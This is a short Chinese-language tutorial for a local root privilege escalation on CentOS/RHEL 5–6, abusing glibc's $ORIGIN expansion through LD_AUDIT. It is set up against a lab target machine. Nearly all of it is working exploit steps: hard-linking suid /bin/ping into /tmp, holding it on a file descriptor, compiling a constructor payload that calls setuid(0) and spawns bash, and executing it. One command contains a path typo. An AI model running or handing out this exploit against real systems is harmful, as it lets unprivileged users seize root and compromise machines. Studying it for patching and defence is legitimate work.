GNU C Library动态链接库$ORIGIN溢出提权
提权
利用tmp目录权限、suid权限和c语言是普通账号提权为root权限
适合RHEL5-RHEL6 Centos5-Centos6系统提权
靶机环境:
centos5.5
新建普通用户
useradd ocean
passwd ocean
su ocean
创建目录
mkdir /tmp/exp
ln /bin/ping /tmp/exp/target
# 创建target文件硬链接
exec 3< /tmp/exp/target
# 把target加载到内存中
ls -l /proc/$$/fd/3
# 查看其在内存的情况
rm -rf /tmp/exp/
# 删除目录
ls -l /poc/$$/fd/3
# 再次查看其在内存的情况
创建一个 c 文件
vim payload.c
# 文件内容
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
编译文件
gcc -w -fPIC -shared -o /tmp/exp payload.c
# 编译文件
ls -l /tmp/exp
# 查看文件
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
# 提升权限
可以发现权限已提升为root